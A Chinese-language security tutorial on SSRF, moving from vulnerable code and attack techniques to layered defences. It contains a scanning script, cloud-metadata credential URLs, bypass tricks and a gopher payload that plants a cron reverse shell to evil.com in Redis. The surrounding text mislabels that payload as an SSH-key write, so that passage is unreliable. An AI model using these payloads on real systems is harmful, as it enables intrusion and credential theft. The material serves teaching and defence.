SSRF 服务端请求伪造
概述
SSRF(Server-Side Request Forgery,服务端请求伪造) 是一种利用服务端发起请求的安全漏洞。攻击者通过控制服务端应用程序向内部或外部系统发送恶意构造的请求,从而突破网络边界防护,访问本无法直接访问的内部资源。
SSRF 在 OWASP Top 10 2021 中位列 A10:2021 – Server-Side Request Forgery,成为独立的安全分类,足见其危害性。
SSRF 原理与攻击流程
原理
SSRF 漏洞的产生根源在于:应用程序在处理用户输入的 URL 时,未做充分的校验与限制,直接使用服务端环境发起网络请求。
典型易受攻击的代码:
// 存在 SSRF 漏洞的代码
public String fetchImage(String imageUrl) {
URL url = new URL(imageUrl); // 直接使用用户输入
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// 读取并返回响应内容
return readResponse(conn);
}# Flask 示例
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # 未做任何校验
return response.text攻击流程
┌──────────┐ ┌──────────────┐ ┌─────────────────┐
│ 攻击者 │ ───→ │ 公网服务器 │ ───→ │ 存在SSRF漏洞 │
│ │ │ (如:图片处理) │ │ 的应用服务器 │
└──────────┘ └──────────────┘ └────────┬────────┘
│
┌────────────────────────┐│
│ 伪造的请求被转发到内部网络 ││
└────────────────────────┘│
▼
┌─────────────────────────────────┐
│ 内网资源 (Redis/MySQL/ES/云元数据) │
│ 127.0.0.1、10.0.0.0/8 等 │
└─────────────────────────────────┘攻击步骤:
- 攻击者发现存在 SSRF 漏洞的功能点(如头像上传、URL 预览、Webhook 回调等)
- 构造恶意 URL 指向内部资源(如
http://127.0.0.1:6379) - 服务端替攻击者发起请求,返回内部服务的响应
- 攻击者通过响应内容获取敏感信息或进一步攻击
常见攻击场景
1. 内网探测
攻击者利用 SSRF 扫描内网存活主机和开放端口:
# 扫描内网 10.0.0.0/24 网段的 8080 端口
http://10.0.0.1:8080/admin
http://10.0.0.2:8080/admin
# ... 逐段扫描# 利用 SSRF 进行内网端口扫描的简易脚本
import requests
targets = []
for i in range(1, 255):
targets.append(f"http://10.0.0.{i}:8080/actuator")
for url in targets:
try:
resp = requests.get(f"http://vuln-app.com/fetch?url={url}", timeout=3)
if resp.status_code == 200 and len(resp.text) > 100:
print(f"[+] 发现内网服务: {url}")
except:
pass2. 端口扫描
通过 SSRF 返回的响应时间、错误信息或响应内容差异,攻击者可以判断内网端口状态:
| HTTP 响应 | 端口状态 |
|---|---|
| 连接成功,返回数据 | 开放且有服务 |
| 连接超时 | 端口被防火墙拦截或主机离线 |
| 连接被拒绝 | 端口关闭 |
| 返回不同错误信息 | 端口开放但协议不匹配 |
3. 云元数据攻击
这是 SSRF 最具破坏力的场景之一。云厂商提供了内网元数据服务(Metadata Service)供云服务器获取自身配置,SSRF 可劫持此通道获取云平台临时凭证。
协议利用
SSRF 不仅仅是 HTTP 协议的攻击,攻击者可以利用多种协议扩大攻击面:
file:// 协议
读取服务器本地文件:
# 读取 /etc/passwd
file:///etc/passwd
# 读取应用配置文件(可能包含数据库密码等敏感信息)
file:///app/config/application.yml
# Windows 环境
file:///C:/Windows/win.ini# Python urllib 的 file 协议利用
import urllib.request
response = urllib.request.urlopen("file:///etc/passwd")
print(response.read().decode())gopher:// 协议
Gopher 协议是最强大的 SSRF 利用协议之一,可以构造任意 TCP 数据包。攻击者用其攻击 Redis、MySQL 等内网服务:
# 利用 gopher 协议向 Redis 发送命令
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0akey1%0d%0a$6%0d%0avalue1%0d%0adict:// 协议
Dict 协议可以探测端口并获取服务 Banner 信息:
# 探测 Redis 服务信息
dict://127.0.0.1:6379/info
# 探测 MySQL 服务
dict://127.0.0.1:3306/statusftp:// 协议
# FTP 匿名访问
ftp://anonymous:anonymous@192.168.1.1:21/
# FTP 被动模式文件读取
ftp://user:pass@10.0.0.1:21/file.txt各协议支持情况对比
| 协议 | Java | Python urllib | PHP (cURL) | Node.js (http) |
|---|---|---|---|---|
http:// | ✅ | ✅ | ✅ | ✅ |
https:// | ✅ | ✅ | ✅ | ✅ |
file:// | ✅ | ✅ | ❌ (默认禁用) | ❌ |
ftp:// | ✅ | ✅ | ✅ | ❌ |
gopher:// | ❌ | ❌ | ✅ (需开启) | ❌ |
dict:// | ❌ | ❌ | ✅ | ❌ |
jar:// | ✅ | ❌ | ❌ | ❌ |
netdoc:// | ❌ | ✅ | ❌ | ❌ |
云环境 SSRF 攻击
AWS 元数据服务
AWS 实例元数据服务的经典端点(IMDSv1):
# IMDSv1 — 无需认证,直接访问
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>IMDSv2 引入了会话令牌机制,但仍存在绕过可能:
# IMDSv2 — 需要先获取 PUT 令牌
# 第一步:获取令牌
curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# 第二步:使用令牌访问元数据
curl -H "X-aws-ec2-metadata-token: <token>" \
http://169.254.169.254/latest/meta-data/通过 SSRF 获取 AWS 临时凭证后,攻击者可利用该凭证访问 S3 存储桶、DynamoDB 数据库等云资源。
Azure 元数据服务
# Azure 实例元数据服务端点
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# 获取托管身份令牌
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/Azure 元数据服务要求请求头 Metadata: true,一些 HTTP 库默认携带自定义头,使得 SSRF 可直接命中。
阿里云元数据服务
# 阿里云 ECS 实例元数据
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<role-name>
# 获取临时访问凭证
http://100.100.100.200/latest/meta-data/ram/security-credentials/admin阿里云使用 100.100.100.200 作为元数据服务地址,不同于 AWS/Azure 的 169.254.169.254,因此在内网扫描时同样需要关注此地址。
云元数据攻击的危害
获取云平台临时凭证后,攻击者可以:
- 持久化访问 — 通过凭证调用云 API 创建后门账户
- 数据窃取 — 访问 OSS/S3 存储桶、RDS 数据库
- 横向移动 — 利用云 API 控制更多云资源
- 权限提升 — 从低权限实例凭证提升到更高权限
内网服务攻击
Redis 未授权访问
通过 SSRF + Gopher 协议攻击内网 Redis:
# 利用 gopher 协议向 Redis 写入 SSH 公钥实现远程登录
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0acron%0d%0a$57%0d%0a*/1 * * * * bash -i >& /dev/tcp/evil.com/4444 0>&1%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a攻击步骤:
- 修改 Redis 的
dir为 SSH 认证目录 - 修改
dbfilename为authorized_keys - 写入攻击者的 SSH 公钥
- 触发
save持久化 - 攻击者通过 SSH 免密登录目标服务器
MySQL 内网探测
# 通过 dict 协议探测内网 MySQL
dict://192.168.1.100:3306/status
# 通过 http 尝试访问 MySQL 管理面板
http://192.168.1.100:10050/Elasticsearch 未授权访问
# 内网 ES 集群信息泄露
http://10.0.0.5:9200/_cat/indices?v
http://10.0.0.5:9200/_cluster/state
http://10.0.0.5:9200/_nodes其他内网服务
| 服务 | 默认端口 | 利用方式 |
|---|---|---|
| Redis | 6379 | 未授权命令执行、数据窃取 |
| MySQL | 3306 | 弱口令探测、数据读取 |
| Elasticsearch | 9200 | 未授权数据访问 |
| MongoDB | 27017 | 未授权数据库访问 |
| Memcached | 11211 | 数据窃取 |
| Docker API | 2375 | 容器逃逸、创建恶意容器 |
| Kubernetes API | 6443 | 集群接管 |
| ZooKeeper | 2181 | 服务信息收集 |
| Consul | 8500 | 服务配置读取 |
| Spring Actuator | 8080 | 环境信息泄露、配置修改 |
绕过技巧
1. DNS Rebinding(DNS 重绑定)
原理:攻击者使用一个域名,其 DNS 解析结果在第一次请求时返回合法 IP,第二次请求时返回内网 IP。由于应用通常只做一次 URL 校验,而实际请求时域名解析结果已改变,从而绕过校验。
# DNS Rebinding 利用示例
# 使用专门的 rebinding 服务 (如 1u.ms、xip.name 等)
# 第一次解析 → 指向合法外网 IP
# 第二次解析 → 指向 127.0.0.1
http://7f000001.8a2e4a10.rbndr.us:8080/admin2. URL 解析差异
不同语言/库对 URL 的解析存在差异,攻击者可利用此差异绕过黑名单:
# 利用 Java URL 解析差异
http://google.com@127.0.0.1:8080/admin
http://evil.com#@127.0.0.1/admin
http://evil.com\@127.0.0.1/admin
# 利用不同解析器的差异
http://127.0.0.1#.evil.com
http://127.0.0.1%00.evil.com # 空字节截断
# 使用十/八/十六进制表示 IP
http://0x7f000001:8080/ # 十六进制 127.0.0.1
http://2130706433:8080/ # 十进制 127.0.0.1
http://0177.0.0.1:8080/ # 八进制 127.0.0.13. 短链接与 URL 跳转
# 使用短链接服务隐藏真实地址
# 短链接 → 重定向到内网地址
http://shorturl.at/abcXYZ
# 利用 302 跳转到内网
# 攻击者控制 evil.com 返回 302 跳转到 http://169.254.169.254# Flask 恶意重定向服务器
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def redirect_to_internal():
target = request.args.get('target', 'http://169.254.169.254')
return redirect(target, code=302)4. IPv6 转换绕过
当应用只过滤了 IPv4 的内网地址时,可以使用 IPv6 地址:
# IPv4 映射到 IPv6
http://[::ffff:10.0.0.1]:8080/admin
http://[::ffff:127.0.0.1]:6379
# IPv6 本地回环
http://[::1]:6379/info
http://[0:0:0:0:0:0:0:1]:92005. 其他绕过技术
| 技巧 | 示例 | 说明 |
|---|---|---|
| 子域名通配符 | http://127.0.0.1.nip.io:8080 | 利用 DNS 通配符服务 |
| URL 编码 | http://127.0.0.1%2fadmin | 对路径进行编码 |
| 双斜杠 | http://127.0.0.1//admin | 路径规范化差异 |
| Unicode 字符 | http://127。0。0。1:8080 | 全角字符绕过 |
| 带上认证信息 | http://any:thing@127.0.0.1:6379 | @ 符号绕过部分解析器 |
| 302 跳转链 | 多级重定向组合 | 层层跳转绕过检测 |
| 使用 AWS 端点别名 | http://instance-data | 某些 OS 将 instance-data 解析为元数据服务 |
| CRLF 注入 | http://127.0.0.1%0d%0aX-Forwarded-For:evil | 在请求中注入额外头 |
防御手段
1. 白名单 vs 黑名单
强烈推荐使用白名单策略。 黑名单几乎总可以被绕过:
// ❌ 黑名单方式(不推荐)
public boolean isSafeUrl(String url) {
return !url.contains("127.0.0.1")
&& !url.contains("169.254")
&& !url.contains("10.")
&& !url.contains("192.168.");
// 攻击者可使用进制转换、IPv6、DNS Rebinding 等方法轻松绕过
}
// ✅ 白名单方式(推荐)
public boolean isAllowedUrl(String url) {
List<String> allowedDomains = Arrays.asList(
"images.trusted-cdn.com",
"avatars.trusted.com"
);
try {
URI uri = new URI(url);
return allowedDomains.contains(uri.getHost());
} catch (URISyntaxException e) {
return false;
}
}2. 协议限制
限制允许使用的协议,禁用不必要的协议:
// Java — 限制 URL 协议
public boolean isValidProtocol(String url) {
String protocol = url.toLowerCase().split("://")[0];
// 只允许 http 和 https
return "http".equals(protocol) || "https".equals(protocol);
}# Python — 使用 urllib 时禁用 file、gopher 等协议
from urllib.parse import urlparse
ALLOWED_SCHEMES = {'http', 'https'}
def validate_url(url):
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f"Scheme {parsed.scheme} is not allowed")3. 响应校验与超时控制
// 设置超时和响应大小限制
URL url = new URL(userInput);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setConnectTimeout(2000); // 连接超时 2 秒
conn.setReadTimeout(3000); // 读取超时 3 秒
conn.setInstanceFollowRedirects(false); // 禁用自动跳转
// 限制响应大小
if (conn.getContentLength() > 1024 * 1024) {
throw new SecurityException("Response too large");
}4. DNS 解析限制
// 解析 URL 的 IP 地址,检查是否为内网地址
import java.net.InetAddress;
public boolean isInternalAddress(String url) {
try {
InetAddress addr = InetAddress.getByName(new URI(url).getHost());
if (addr.isSiteLocalAddress() || addr.isLoopbackAddress()
|| addr.isLinkLocalAddress()) {
return true; // 内网地址,拒绝请求
}
// 检查是否为云元数据地址
String ip = addr.getHostAddress();
if (ip.equals("169.254.169.254") || ip.equals("100.100.100.200")) {
return true;
}
return false;
} catch (Exception e) {
return true; // 解析失败时默认拒绝
}
}5. 综合防护方案
# Python 综合防护示例
import socket
import ipaddress
from urllib.parse import urlparse
def is_safe_ssrf_request(url):
# 1. 协议检查
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
# 2. 白名单域名检查
ALLOWED_DOMAINS = ['trusted-cdn.example.com']
if parsed.hostname not in ALLOWED_DOMAINS:
return False
# 3. DNS 解析 + IP 地址检查
try:
ip = socket.gethostbyname(parsed.hostname)
addr = ipaddress.ip_address(ip)
# 拒绝私有地址、回环地址、链路本地地址
if addr.is_private or addr.is_loopback or addr.is_link_local:
return False
# 拒绝云元数据地址
if str(addr) in ('169.254.169.254', '100.100.100.200'):
return False
except Exception:
return False
# 4. 禁用重定向(防止 302 绕过)
# 在请求时设置 allow_redirects=False
return TrueJava URL 连接安全配置
禁用协议
Java 中限制 URL 连接的协议:
// 方式一:自定义 URLStreamHandler
URL.setURLStreamHandlerFactory(protocol -> {
if ("file".equals(protocol) || "gopher".equals(protocol) || "dict".equals(protocol)) {
throw new SecurityException("Protocol not allowed: " + protocol);
}
return null; // 使用默认 handler
});安全 Socket 工厂
// 自定义 SocketFactory 禁止连接内网地址
import javax.net.SocketFactory;
import java.net.Socket;
import java.net.InetSocketAddress;
public class SecureSocketFactory extends SocketFactory {
private static final List<String> BLOCKED_PREFIXES = Arrays.asList(
"127.", "10.", "172.16.", "172.17.", "172.18.", "172.19.",
"172.20.", "172.21.", "172.22.", "172.23.", "172.24.",
"172.25.", "172.26.", "172.27.", "172.28.", "172.29.",
"172.30.", "172.31.", "192.168.", "169.254.", "0."
);
private static final List<String> BLOCKED_IPS = Arrays.asList(
"169.254.169.254", "100.100.100.200"
);
@Override
public Socket createSocket(String host, int port) throws IOException {
InetAddress addr = InetAddress.getByName(host);
String ip = addr.getHostAddress();
if (BLOCKED_IPS.contains(ip)) {
throw new SecurityException("Access denied to: " + ip);
}
for (String prefix : BLOCKED_PREFIXES) {
if (ip.startsWith(prefix)) {
throw new SecurityException("Internal address not allowed: " + ip);
}
}
return new Socket(host, port);
}
}使用安全网络库
推荐使用经过安全加固的 HTTP 客户端:
<!-- OkHttp + 自定义 DNS 解析器 -->
<dependency>
<groupId>com.squareup.okhttp3</groupId>
<artifactId>okhttp</artifactId>
<version>4.12.0</version>
</dependency>// OkHttp 自定义 DNS — 阻止内网解析
OkHttpClient client = new OkHttpClient.Builder()
.dns(hostname -> {
List<InetAddress> addresses = Dns.SYSTEM.lookup(hostname);
for (InetAddress addr : addresses) {
if (addr.isSiteLocalAddress() || addr.isLoopbackAddress()) {
throw new UnknownHostException("Blocked internal address: " + addr);
}
}
return addresses;
})
.connectTimeout(2, TimeUnit.SECONDS)
.followRedirects(false) // 禁用重定向
.build();SSRF 防护在微服务架构中的实践
在微服务架构中,SSRF 的防护面临更大挑战:服务间调用频繁、网络拓扑复杂、入口众多。
1. 分层防护策略
┌─────────────────────────────────────────────┐
│ API 网关层 │
│ ┌─────────────────────────────────────────┐ │
│ │ URL 白名单校验 + 协议限制 + 恶意请求拦截 │ │
│ └─────────────────────────────────────────┘ │
├─────────────────────────────────────────────┤
│ 应用服务层 │
│ ┌─────────────────────────────────────────┐ │
│ │ DNS 解析校验 + IP 白名单 + 超时控制 │ │
│ └─────────────────────────────────────────┘ │
├─────────────────────────────────────────────┤
│ 基础设施层 │
│ ┌─────────────────────────────────────────┐ │
│ │ 网络策略 (NetworkPolicy) + 防火墙规则 │ │
│ │ 服务网格 (Service Mesh) 流量管控 │ │
│ └─────────────────────────────────────────┘ │
└─────────────────────────────────────────────┘2. Kubernetes 网络策略
使用 Kubernetes NetworkPolicy 限制 Pod 的出站流量:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: ssrf-protection
namespace: production
spec:
podSelector:
matchLabels:
app: web-service
policyTypes:
- Egress
egress:
# 只允许访问特定外部服务
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 10.0.0.0/8 # 阻止内网
- 172.16.0.0/12 # 阻止内网
- 192.168.0.0/16 # 阻止内网
- 169.254.0.0/16 # 阻止云元数据
- 100.64.0.0/10 # 阻止阿里云元数据
ports:
- protocol: TCP
port: 443 # 只允许 HTTPS3. 服务网格(Service Mesh)防护
以 Istio 为例,通过 Envoy Filter 实现 SSRF 防护:
apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
name: ssrf-filter
namespace: istio-system
spec:
configPatches:
- applyTo: HTTP_FILTER
match:
context: SIDECAR_OUTBOUND
listener:
filterChain:
filter:
name: "envoy.filters.network.http_connection_manager"
patch:
operation: INSERT_BEFORE
value:
name: envoy.lua
typed_config:
"@type": "type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua"
inline_code: |
function envoy_on_request(request_handle)
local host = request_handle:headers():get(":authority")
-- 检查是否为内网地址
if host and (host:find("^127%.") or host:find("^10%.")
or host:find("^192%.168%.") or host == "169.254.169.254"
or host == "100.100.100.200") then
request_handle:respond(
{[":status"] = "403"},
"SSRF blocked"
)
end
end4. 统一 SSRF 防护 SDK
在微服务架构中,建议封装统一的 HTTP 客户端 SDK,内置 SSRF 防护:
// 统一 SSRF 防护客户端
@Component
public class SecureHttpClient {
private final RestTemplate restTemplate;
public SecureHttpClient() {
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
factory.setConnectTimeout(2000);
factory.setReadTimeout(3000);
this.restTemplate = new RestTemplate(factory);
this.restTemplate.setRequestFactory(new InterceptingRequestFactory(factory));
}
public <T> ResponseEntity<T> get(String url, Class<T> responseType) {
// 1. 校验 URL
validateUrl(url);
// 2. DNS 解析检查
checkDnsResolution(url);
// 3. 执行请求
return restTemplate.exchange(url, HttpMethod.GET, null, responseType);
}
private void validateUrl(String url) {
// 白名单 + 协议 + IP 地址校验
}
private void checkDnsResolution(String url) {
// DNS 解析并检查目标 IP
}
}5. 监控与告警
# Prometheus 告警规则 — SSRF 检测
groups:
- name: ssrf-detection
rules:
- alert: PossibleSSRFAttack
expr: |
rate(http_requests_to_internal_ips_total[5m]) > 0
for: 1m
labels:
severity: critical
annotations:
summary: "检测到可能的 SSRF 攻击"
description: "服务 {{ $labels.service }} 在过去 5 分钟内有对内网 IP 的请求"总结
SSRF 是一种危害巨大的安全漏洞,其核心防御策略可归纳为:
| 层面 | 措施 | 优先级 |
|---|---|---|
| 输入校验 | 白名单域名/IP、协议白名单、URL 规范化 | 🔴 必须 |
| 网络控制 | DNS 重绑定防护、DNS 解析后二次校验、限制内网访问 | 🔴 必须 |
| 请求控制 | 超时设置、禁用重定向、限制响应大小 | 🟡 推荐 |
| 协议限制 | 禁用 file/gopher/dict 等危险协议 | 🔴 必须 |
| 基础设施 | Kubernetes NetworkPolicy、服务网格策略、防火墙规则 | 🟡 推荐 |
| 监控告警 | 对内网请求的日志记录与异常告警 | 🟡 推荐 |
核心原则:永远不要信任用户输入的 URL,永远在服务端做最终校验。 SSRF 的防御需要从代码层面、网络层面、基础设施层面进行纵深防御,任何单一防护措施都可能被绕过。